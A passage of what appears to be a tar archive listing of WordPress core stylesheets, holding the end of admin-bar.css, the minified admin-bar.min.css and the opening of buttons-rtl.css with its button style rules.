li#wp-admin-bar-menu-toggle, #wpadminbar li#wp-admin-bar-wp-logo, #wpadminbar li#wp-admin-bar-my-sites, #wpadminbar li#wp-admin-bar-updates, #wpadminbar li#wp-admin-bar-site-name, #wpadminbar li#wp-admin-bar-customize, #wpadminbar li#wp-admin-bar-new-content, #wpadminbar li#wp-admin-bar-edit, #wpadminbar li#wp-admin-bar-comments, #wpadminbar li#wp-admin-bar-my-account { display: block; } /* Allow dropdown list items to appear normally */ #wpadminbar li:hover ul li, #wpadminbar li.hover ul li, #wpadminbar li:hover ul li:hover ul li { display: list-item; } /* Override default min-width so dropdown lists aren't stretched to 100% viewport width at responsive sizes. */ #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper { min-width: -webkit-fit-content; min-width: -moz-fit-content; min-width: fit-content; } #wpadminbar ul#wp-admin-bar-root-default > li { margin-right: 0; } /* Experimental fix for touch toolbar dropdown positioning */ #wpadminbar .ab-top-menu, #wpadminbar .ab-top-secondary, #wpadminbar #wp-admin-bar-wp-logo, #wpadminbar #wp-admin-bar-my-sites, #wpadminbar #wp-admin-bar-site-name, #wpadminbar #wp-admin-bar-updates, #wpadminbar #wp-admin-bar-comments, #wpadminbar #wp-admin-bar-new-content, #wpadminbar #wp-admin-bar-edit, #wpadminbar #wp-admin-bar-my-account { position: static; } #wpadminbar #wp-admin-bar-my-account { float: right; } .network-admin #wpadminbar ul#wp-admin-bar-top-secondary > li#wp-admin-bar-my-account { margin-right: 0; } /* Realign arrows on taller responsive submenus */ #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before { top: 10px; left: 0; } } /* Smartphone */ @media screen and (max-width: 600px) { #wpadminbar { position: absolute; } #wp-responsive-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 400; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper { width: 100%; left: 0; } #wpadminbar .menupop .menupop > .ab-item:before { display: none; } #wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper { margin-left: 0; } #wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper { margin: 0; width: 100%; top: auto; left: auto; position: relative; } #wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper .ab-item { font-size: 16px; padding: 6px 15px 19px 30px; } #wpadminbar li:hover ul li ul li { display: list-item; } #wpadminbar li#wp-admin-bar-wp-logo, #wpadminbar li#wp-admin-bar-updates { display: none; } /* Make submenus full-width at this size */ #wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper { position: static; box-shadow: none; } } /* Very narrow screens */ @media screen and (max-width: 400px) { #wpadminbar li#wp-admin-bar-comments { display: none; } } css/admin-bar.min.css000064400000046221151202620300010456 0ustar00/*! This file is auto-generated */ #wpadminbar *{height:auto;width:auto;margin:0;padding:0;position:static;text-shadow:none;text-transform:none;letter-spacing:normal;font-size:13px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:2.46153846;border-radius:0;box-sizing:content-box;transition:none;-webkit-font-smoothing:subpixel-antialiased;-moz-osx-font-smoothing:auto}.rtl #wpadminbar *{font-family:Tahoma,sans-serif}html:lang(he-il) .rtl #wpadminbar *{font-family:Arial,sans-serif}#wpadminbar .ab-empty-item{cursor:default}#wpadminbar .ab-empty-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#f0f0f1}#wpadminbar #wp-admin-bar-my-sites a.ab-item,#wpadminbar #wp-admin-bar-site-name a.ab-item{white-space:nowrap}#wpadminbar ul li:after,#wpadminbar ul li:before{content:normal}#wpadminbar a,#wpadminbar a img,#wpadminbar a img:hover,#wpadminbar a:hover{border:none;text-decoration:none;background:0 0}#wpadminbar a:active,#wpadminbar a:focus,#wpadminbar div,#wpadminbar input[type=email],#wpadminbar input[type=number],#wpadminbar input[type=password],#wpadminbar input[type=search],#wpadminbar input[type=text],#wpadminbar input[type=url],#wpadminbar select,#wpadminbar textarea{box-shadow:none}#wpadminbar a:focus{outline-offset:-1px}#wpadminbar{direction:ltr;color:#c3c4c7;font-size:13px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:2.46153846;height:32px;position:fixed;top:0;left:0;width:100%;min-width:600px;z-index:99999;background:#1d2327}#wpadminbar .ab-sub-wrapper,#wpadminbar ul,#wpadminbar ul li{background:0 0;clear:none;list-style:none;margin:0;padding:0;position:relative;text-indent:0;z-index:99999}#wpadminbar ul#wp-admin-bar-root-default>li{margin-right:0}#wpadminbar .quicklinks ul{text-align:left}#wpadminbar li{float:left}#wpadminbar .ab-empty-item{outline:0}#wpadminbar .quicklinks .ab-top-secondary>li{float:right}#wpadminbar .quicklinks .ab-empty-item,#wpadminbar .quicklinks a,#wpadminbar .shortlink-input{height:32px;display:block;padding:0 10px;margin:0}#wpadminbar .quicklinks>ul>li>a{padding:0 8px 0 7px}#wpadminbar .menupop .ab-sub-wrapper,#wpadminbar .shortlink-input{margin:0;padding:0;box-shadow:0 3px 5px rgba(0,0,0,.2);background:#2c3338;display:none;position:absolute;float:none}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{min-width:100%}#wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper{right:0;left:auto}#wpadminbar .ab-submenu{padding:6px 0}#wpadminbar .selected .shortlink-input{display:block}#wpadminbar .quicklinks .menupop ul li{float:none}#wpadminbar .quicklinks .menupop ul li a strong{font-weight:600}#wpadminbar .quicklinks .menupop ul li .ab-item,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li .ab-item,#wpadminbar .shortlink-input,#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item{line-height:2;height:26px;white-space:nowrap;min-width:140px}#wpadminbar .shortlink-input{width:200px}#wpadminbar li.hover>.ab-sub-wrapper,#wpadminbar.nojs li:hover>.ab-sub-wrapper{display:block}#wpadminbar .menupop li.hover>.ab-sub-wrapper,#wpadminbar .menupop li:hover>.ab-sub-wrapper{margin-left:100%;margin-top:-32px}#wpadminbar .ab-top-secondary .menupop li.hover>.ab-sub-wrapper,#wpadminbar .ab-top-secondary .menupop li:hover>.ab-sub-wrapper{margin-left:0;left:inherit;right:100%}#wpadminbar .ab-top-menu>li.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{background:#2c3338;color:#72aee6}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label,#wpadminbar>#wp-toolbar li.hover span.ab-label{color:#72aee6}#wpadminbar .ab-icon,#wpadminbar .ab-item:before,#wpadminbar>#wp-toolbar>#wp-admin-bar-root-default .ab-icon,.wp-admin-bar-arrow{position:relative;float:left;font:normal 20px/1 dashicons;speak:never;padding:4px 0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background-image:none!important;margin-right:6px}#wpadminbar #adminbarsearch:before,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:before{color:#a7aaad;color:rgba(240,246,252,.6)}#wpadminbar #adminbarsearch:before,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:before{position:relative;transition:all .1s ease-in-out}#wpadminbar .ab-label{display:inline-block;height:32px}#wpadminbar .ab-submenu .ab-item{color:#c3c4c7;color:rgba(240,246,252,.7)}#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#c3c4c7;color:rgba(240,246,252,.7)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus,#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#72aee6}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#c3c4c7}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#72aee6}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item:before,#wpadminbar .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{position:absolute;font:normal 17px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar .menupop .menupop>.ab-item{display:block;padding-right:2em}#wpadminbar .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{top:1px;right:10px;padding:4px 0;content:"\f139";color:inherit}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item{padding-left:2em;padding-right:1em}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{top:1px;left:6px;content:"\f141"}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary{display:block;position:relative;right:auto;margin:0;box-shadow:none}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#3c434a}#wpadminbar .quicklinks .menupop .ab-sub-secondary>li .ab-item:focus a,#wpadminbar .quicklinks .menupop .ab-sub-secondary>li>a:hover{color:#72aee6}#wpadminbar .quicklinks a span#ab-updates{background:#f0f0f1;color:#2c3338;display:inline;padding:2px 5px;font-size:10px;font-weight:600;border-radius:10px}#wpadminbar .quicklinks a:hover span#ab-updates{background:#fff;color:#000}#wpadminbar .ab-top-secondary{float:right}#wpadminbar ul li:last-child,#wpadminbar ul li:last-child .ab-item{box-shadow:none}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#d63638}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#d63638}#wp-admin-bar-my-account>ul{min-width:198px}#wp-admin-bar-my-account>.ab-item:before{content:"\f110";top:2px;float:right;margin-left:6px;margin-right:0}#wp-admin-bar-my-account.with-avatar>.ab-item:before{display:none;content:none}#wp-admin-bar-my-account.with-avatar>ul{min-width:270px}#wpadminbar #wp-admin-bar-user-actions>li{margin-left:16px;margin-right:16px}#wpadminbar #wp-admin-bar-user-actions.ab-submenu{padding:6px 0 12px}#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions>li{margin-left:88px}#wpadminbar #wp-admin-bar-user-info{margin-top:6px;margin-bottom:15px;height:auto;background:0 0}#wp-admin-bar-user-info .avatar{position:absolute;left:-72px;top:4px;width:64px;height:64px}#wpadminbar #wp-admin-bar-user-info a{background:0 0;height:auto}#wpadminbar #wp-admin-bar-user-info span{background:0 0;padding:0;height:18px}#wpadminbar #wp-admin-bar-user-info .display-name,#wpadminbar #wp-admin-bar-user-info .username{display:block}#wpadminbar #wp-admin-bar-user-info .username{color:#a7aaad;font-size:11px}#wpadminbar #wp-admin-bar-my-account.with-avatar>.ab-empty-item img,#wpadminbar #wp-admin-bar-my-account.with-avatar>a img{width:auto;height:16px;padding:0;border:1px solid #8c8f94;background:#f0f0f1;line-height:1.84615384;vertical-align:middle;margin:-4px 0 0 6px;float:none;display:inline}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon{width:15px;height:20px;margin-right:0;padding:6px 0 5px}#wpadminbar #wp-admin-bar-wp-logo>.ab-item{padding:0 7px}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon:before{content:"\f120";top:2px}#wpadminbar .quicklinks li .blavatar{display:inline-block;vertical-align:middle;font:normal 16px/1 dashicons!important;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;color:#f0f0f1}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar{color:#72aee6}#wpadminbar .quicklinks li .blavatar:before{content:"\f120";height:16px;width:16px;display:inline-block;margin:0 8px 2px -2px}#wpadminbar #wp-admin-bar-appearance{margin-top:-12px}#wpadminbar #wp-admin-bar-my-sites>.ab-item:before,#wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f541";top:2px}#wpadminbar #wp-admin-bar-customize>.ab-item:before{content:"\f540";top:2px}#wpadminbar #wp-admin-bar-edit>.ab-item:before{content:"\f464";top:2px}#wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f226"}.wp-admin #wpadminbar #wp-admin-bar-site-name>.ab-item:before{content:"\f102"}#wpadminbar #wp-admin-bar-comments .ab-icon{margin-right:6px}#wpadminbar #wp-admin-bar-comments .ab-icon:before{content:"\f101";top:3px}#wpadminbar #wp-admin-bar-comments .count-0{opacity:.5}#wpadminbar #wp-admin-bar-new-content .ab-icon:before{content:"\f132";top:4px}#wpadminbar #wp-admin-bar-updates .ab-icon:before{content:"\f463";top:2px}#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before{display:inline-block;animation:rotation 2s infinite linear}@media (prefers-reduced-motion:reduce){#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before{animation:none}}#wpadminbar #wp-admin-bar-search .ab-item{padding:0;background:0 0}#wpadminbar #adminbarsearch{position:relative;height:32px;padding:0 2px;z-index:1}#wpadminbar #adminbarsearch:before{position:absolute;top:6px;left:5px;z-index:20;font:normal 20px/1 dashicons!important;content:"\f179";speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input{display:inline-block;float:none;position:relative;z-index:30;font-size:13px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:1.84615384;text-indent:0;height:24px;width:24px;max-width:none;padding:0 3px 0 24px;margin:0;color:#c3c4c7;background-color:rgba(255,255,255,0);border:none;outline:0;cursor:pointer;box-shadow:none;box-sizing:border-box;transition-duration:.4s;transition-property:width,background;transition-timing-function:ease}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{z-index:10;color:#000;width:200px;background-color:rgba(255,255,255,.9);cursor:text;border:0}#wpadminbar #adminbarsearch .adminbar-button{display:none}.customize-support #wpadminbar .hide-if-customize,.customize-support .hide-if-customize,.customize-support .wp-core-ui .hide-if-customize,.customize-support.wp-core-ui .hide-if-customize,.no-customize-support #wpadminbar .hide-if-no-customize,.no-customize-support .hide-if-no-customize,.no-customize-support .wp-core-ui .hide-if-no-customize,.no-customize-support.wp-core-ui .hide-if-no-customize{display:none}#wpadminbar .screen-reader-text,#wpadminbar .screen-reader-text span{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}#wpadminbar .screen-reader-shortcut{position:absolute;top:-1000em}#wpadminbar .screen-reader-shortcut:focus{left:6px;top:7px;height:auto;width:auto;display:block;font-size:14px;font-weight:600;padding:15px 23px 14px;background:#f0f0f1;color:#2271b1;z-index:100000;line-height:normal;text-decoration:none;box-shadow:0 0 2px 2px rgba(0,0,0,.6)}@media screen and (max-width:782px){html #wpadminbar{height:46px;min-width:240px}#wpadminbar *{font-size:14px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:2.28571428}#wpadminbar .quicklinks .ab-empty-item,#wpadminbar .quicklinks>ul>li>a{padding:0;height:46px;line-height:3.28571428;width:auto}#wpadminbar .ab-icon{font:40px/1 dashicons!important;margin:0;padding:0;width:52px;height:46px;text-align:center}#wpadminbar .ab-icon:before{text-align:center}#wpadminbar .ab-submenu{padding:0}#wpadminbar #wp-admin-bar-my-account a.ab-item,#wpadminbar #wp-admin-bar-my-sites a.ab-item,#wpadminbar #wp-admin-bar-site-name a.ab-item{text-overflow:clip}#wpadminbar .quicklinks .menupop ul li .ab-item,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li .ab-item,#wpadminbar .shortlink-input,#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item{line-height:1.6}#wpadminbar .ab-label{display:none}#wpadminbar .menupop li.hover>.ab-sub-wrapper,#wpadminbar .menupop li:hover>.ab-sub-wrapper{margin-top:-46px}#wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop>.ab-item{padding-right:30px}#wpadminbar .menupop .menupop>.ab-item:before{top:10px;right:6px}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper .ab-item{font-size:16px;padding:8px 16px}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper a:empty{display:none}#wpadminbar #wp-admin-bar-wp-logo>.ab-item{padding:0}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon{padding:0;width:52px;height:46px;text-align:center;vertical-align:top}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon:before{font:28px/1 dashicons!important;top:-3px}#wpadminbar .ab-icon,#wpadminbar .ab-item:before{padding:0}#wpadminbar #wp-admin-bar-customize>.ab-item,#wpadminbar #wp-admin-bar-edit>.ab-item,#wpadminbar #wp-admin-bar-my-account>.ab-item,#wpadminbar #wp-admin-bar-my-sites>.ab-item,#wpadminbar #wp-admin-bar-site-name>.ab-item{text-indent:100%;white-space:nowrap;overflow:hidden;width:52px;padding:0;color:#a7aaad;position:relative}#wpadminbar .ab-icon,#wpadminbar .ab-item:before,#wpadminbar>#wp-toolbar>#wp-admin-bar-root-default .ab-icon{padding:0;margin-right:0}#wpadminbar #wp-admin-bar-customize>.ab-item:before,#wpadminbar #wp-admin-bar-edit>.ab-item:before,#wpadminbar #wp-admin-bar-my-account>.ab-item:before,#wpadminbar #wp-admin-bar-my-sites>.ab-item:before,#wpadminbar #wp-admin-bar-site-name>.ab-item:before{display:block;text-indent:0;font:normal 32px/1 dashicons;speak:never;top:7px;width:52px;text-align:center;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar #wp-admin-bar-appearance{margin-top:0}#wpadminbar .quicklinks li .blavatar:before{display:none}#wpadminbar #wp-admin-bar-search{display:none}#wpadminbar #wp-admin-bar-new-content .ab-icon:before{top:0;line-height:1.33333333;height:46px!important;text-align:center;width:52px;display:block}#wpadminbar #wp-admin-bar-updates{text-align:center}#wpadminbar #wp-admin-bar-updates .ab-icon:before{top:3px}#wpadminbar #wp-admin-bar-comments .ab-icon{margin:0}#wpadminbar #wp-admin-bar-comments .ab-icon:before{display:block;font-size:34px;height:46px;line-height:1.38235294;top:0}#wpadminbar #wp-admin-bar-my-account>a{position:relative;white-space:nowrap;text-indent:150%;width:28px;padding:0 10px;overflow:hidden}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{position:absolute;top:13px;right:10px;width:26px;height:26px}#wpadminbar #wp-admin-bar-user-actions.ab-submenu{padding:0}#wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar{display:none}#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions>li{margin:0}#wpadminbar #wp-admin-bar-user-info .display-name{height:auto;font-size:16px;line-height:1.5;color:#f0f0f1}#wpadminbar #wp-admin-bar-user-info a{padding-top:4px}#wpadminbar #wp-admin-bar-user-info .username{line-height:.8!important;margin-bottom:-2px}#wp-toolbar>ul>li{display:none}#wpadminbar li#wp-admin-bar-comments,#wpadminbar li#wp-admin-bar-customize,#wpadminbar li#wp-admin-bar-edit,#wpadminbar li#wp-admin-bar-menu-toggle,#wpadminbar li#wp-admin-bar-my-account,#wpadminbar li#wp-admin-bar-my-sites,#wpadminbar li#wp-admin-bar-new-content,#wpadminbar li#wp-admin-bar-site-name,#wpadminbar li#wp-admin-bar-updates,#wpadminbar li#wp-admin-bar-wp-logo{display:block}#wpadminbar li.hover ul li,#wpadminbar li:hover ul li,#wpadminbar li:hover ul li:hover ul li{display:list-item}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{min-width:-webkit-fit-content;min-width:-moz-fit-content;min-width:fit-content}#wpadminbar ul#wp-admin-bar-root-default>li{margin-right:0}#wpadminbar #wp-admin-bar-comments,#wpadminbar #wp-admin-bar-edit,#wpadminbar #wp-admin-bar-my-account,#wpadminbar #wp-admin-bar-my-sites,#wpadminbar #wp-admin-bar-new-content,#wpadminbar #wp-admin-bar-site-name,#wpadminbar #wp-admin-bar-updates,#wpadminbar #wp-admin-bar-wp-logo,#wpadminbar .ab-top-menu,#wpadminbar .ab-top-secondary{position:static}#wpadminbar #wp-admin-bar-my-account{float:right}.network-admin #wpadminbar ul#wp-admin-bar-top-secondary>li#wp-admin-bar-my-account{margin-right:0}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item:before{top:10px;left:0}}@media screen and (max-width:600px){#wpadminbar{position:absolute}#wp-responsive-overlay{position:fixed;top:0;left:0;width:100%;height:100%;z-index:400}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{width:100%;left:0}#wpadminbar .menupop .menupop>.ab-item:before{display:none}#wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper{margin-left:0}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper{margin:0;width:100%;top:auto;left:auto;position:relative}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper .ab-item{font-size:16px;padding:6px 15px 19px 30px}#wpadminbar li:hover ul li ul li{display:list-item}#wpadminbar li#wp-admin-bar-updates,#wpadminbar li#wp-admin-bar-wp-logo{display:none}#wpadminbar .ab-top-menu>.menupop li>.ab-sub-wrapper{position:static;box-shadow:none}}@media screen and (max-width:400px){#wpadminbar li#wp-admin-bar-comments{display:none}}css/buttons-rtl.css000064400000022643151202620300010341 0ustar00/*! This file is auto-generated */ /* ---------------------------------------------------------------------------- NOTE: If you edit this file, you should make sure that the CSS rules for buttons in the following files are updated. * jquery-ui-dialog.css * editor.css WordPress-style Buttons ======================= Create a button by adding the `.button` class to an element. For backward compatibility, we support several other classes (such as `.button-secondary`), but these will *not* work with the stackable classes described below. Button Styles ------------- To display a primary button style, add the `.button-primary` class to a button. Button Sizes ------------ Adjust a button's size by adding the `.button-large` or `.button-small` class. Button States ------------- Lock the state of a button by adding the name of the pseudoclass as an actual class (e.g. `.hover` for `:hover`). TABLE OF CONTENTS: ------------------ 1.0 - Button Layouts 2.0 - Default Button Style 3.0 - Primary Button Style 4.0 - Button Groups 5.0 - Responsive Button Styles ---------------------------------------------------------------------------- */ /* ---------------------------------------------------------------------------- 1.0 - Button Layouts ---------------------------------------------------------------------------- */ .wp-core-ui .button, .wp-core-ui .button-primary, .wp-core-ui .button-secondary { display: inline-block; text-decoration: none; font-size: 13px; line-height: 2.15384615; /* 28px */ min-height: 30px; margin: 0; padding: 0 10px; cursor: pointer; border-width: 1px; border-style: solid; -webkit-appearance: none; border-radius: 3px; white-space: nowrap; box-sizing: border-box; } /* Remove the dotted border on :focus and the extra padding in Firefox */ .wp-core-ui button::-moz-focus-inner, .wp-core-ui input[type="reset"]::-moz-focus-inner, .wp-core-ui input[type="button"]::-moz-focus-inner, .wp-core-ui input[type="submit"]::-moz-focus-inner { border-width: 0; border-style: none; padding: 0; } .wp-core-ui .button.button-large, .wp-core-ui .button-group.button-large .button { min-height: 32px; line-height: 2.30769231; /* 30px */ padding: 0 12px; } .wp-core-ui .button.button-small, .wp-core-ui .button-group.button-small .button { min-height: 26px; line-height: 2.18181818; /* 24px */ padding: 0 8px; font-size: 11px; } .wp-core-ui .button.button-hero, .wp-core-ui .button-group.button-hero .button { font-size: 14px; min-height: 46px; line-height: 3.14285714; padding: 0 36px; } .wp-core-ui .button.hidden { display: none; } /* Style Reset buttons as simple text links */ .wp-core-ui input[type="reset"], .wp-core-ui input[type="reset"]:hover, .wp-core-ui input[type="reset"]:active, .wp-core-ui input[type="reset"]:focus { background: none; border: none; box-shadow: none; padding: 0 2px 1px; width: auto; } /* ---------------------------------------------------------------------------- 2.0 - Default Button Style ---------------------------------------------------------------------------- */ .wp-core-ui .button, .wp-core-ui .button-secondary { color: #2271b1; border-color: #2271b1; background: #f6f7f7; vertical-align: top; } .wp-core-ui p .button { vertical-align: baseline; } .wp-core-ui .button.hover, .wp-core-ui .button:hover, .wp-core-ui .button-secondary:hover{ background: #f0f0f1; border-color: #0a4b78; color: #0a4b78; } .wp-core-ui .button.focus, .wp-core-ui .button:focus, .wp-core-ui .button-secondary:focus { background: #f6f7f7; border-color: #3582c4; color: #0a4b78; box-shadow: 0 0 0 1px #3582c4; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; /* Reset inherited offset from Gutenberg */ outline-offset: 0; } /* :active state */ .wp-core-ui .button:active, .wp-core-ui .button-secondary:active { background: #f6f7f7; border-color: #8c8f94; box-shadow: none; } /* pressed state e.g. a selected setting */ .wp-core-ui .button.active, .wp-core-ui .button.active:hover { background-color: #dcdcde; color: #135e96; border-color: #0a4b78; box-shadow: inset 0 2px 5px -3px #0a4b78; } .wp-core-ui .button.active:focus { border-color: #3582c4; box-shadow: inset 0 2px 5px -3px #0a4b78, 0 0 0 1px #3582c4; } .wp-core-ui .button[disabled], .wp-core-ui .button:disabled, .wp-core-ui .button.disabled, .wp-core-ui .button-secondary[disabled], .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled, .wp-core-ui .button-disabled { color: #a7aaad !important; border-color: #dcdcde !important; background: #f6f7f7 !important; box-shadow: none !important; cursor: default; transform: none !important; } /* Buttons that look like links, for a cross of good semantics with the visual */ .wp-core-ui .button-link { margin: 0; padding: 0; box-shadow: none; border: 0; border-radius: 0; background: none; cursor: pointer; text-align: right; /* Mimics the default link style in common.css */ color: #2271b1; text-decoration: underline; transition-property: border, background, color; transition-duration: .05s; transition-timing-function: ease-in-out; } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active { color: #135e96; } .wp-core-ui .button-link:focus { color: #043959; box-shadow: 0 0 0 1px #4f94d4, 0 0 2px 1px rgba(79, 148, 212, 0.8); /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-link-delete { color: #d63638; } .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: #d63638; background: transparent; } .wp-core-ui .button-link-delete:disabled { /* overrides the default buttons disabled background */ background: transparent !important; } /* ---------------------------------------------------------------------------- 3.0 - Primary Button Style ---------------------------------------------------------------------------- */ .wp-core-ui .button-primary { background: #2271b1; border-color: #2271b1; color: #fff; text-decoration: none; text-shadow: none; } .wp-core-ui .button-primary.hover, .wp-core-ui .button-primary:hover, .wp-core-ui .button-primary.focus, .wp-core-ui .button-primary:focus { background: #135e96; border-color: #135e96; color: #fff; } .wp-core-ui .button-primary.focus, .wp-core-ui .button-primary:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #2271b1; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:hover, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary:active { background: #135e96; border-color: #135e96; box-shadow: none; color: #fff; } .wp-core-ui .button-primary[disabled], .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary-disabled, .wp-core-ui .button-primary.disabled { color: #a7aaad !important; background: #f6f7f7 !important; border-color: #dcdcde !important; box-shadow: none !important; text-shadow: none !important; cursor: default; } /* ---------------------------------------------------------------------------- 4.0 - Button Groups ---------------------------------------------------------------------------- */ .wp-core-ui .button-group { position: relative; display: inline-block; white-space: nowrap; font-size: 0; vertical-align: middle; } .wp-core-ui .button-group > .button { display: inline-block; border-radius: 0; margin-left: -1px; } .wp-core-ui .button-group > .button:first-child { border-radius: 0 3px 3px 0; } .wp-core-ui .button-group > .button:last-child { border-radius: 3px 0 0 3px; } .wp-core-ui .button-group > .button-primary + .button { border-right: 0; } .wp-core-ui .button-group > .button:focus { position: relative; z-index: 1; } /* pressed state e.g. a selected setting */ .wp-core-ui .button-group > .button.active { background-color: #dcdcde; color: #135e96; border-color: #0a4b78; box-shadow: inset 0 2px 5px -3px #0a4b78; } .wp-core-ui .button-group > .button.active:focus { border-color: #3582c4; box-shadow: inset 0 2px 5px -3px #0a4b78, 0 0 0 1px #3582c4; } /* ---------------------------------------------------------------------------- 5.0 - 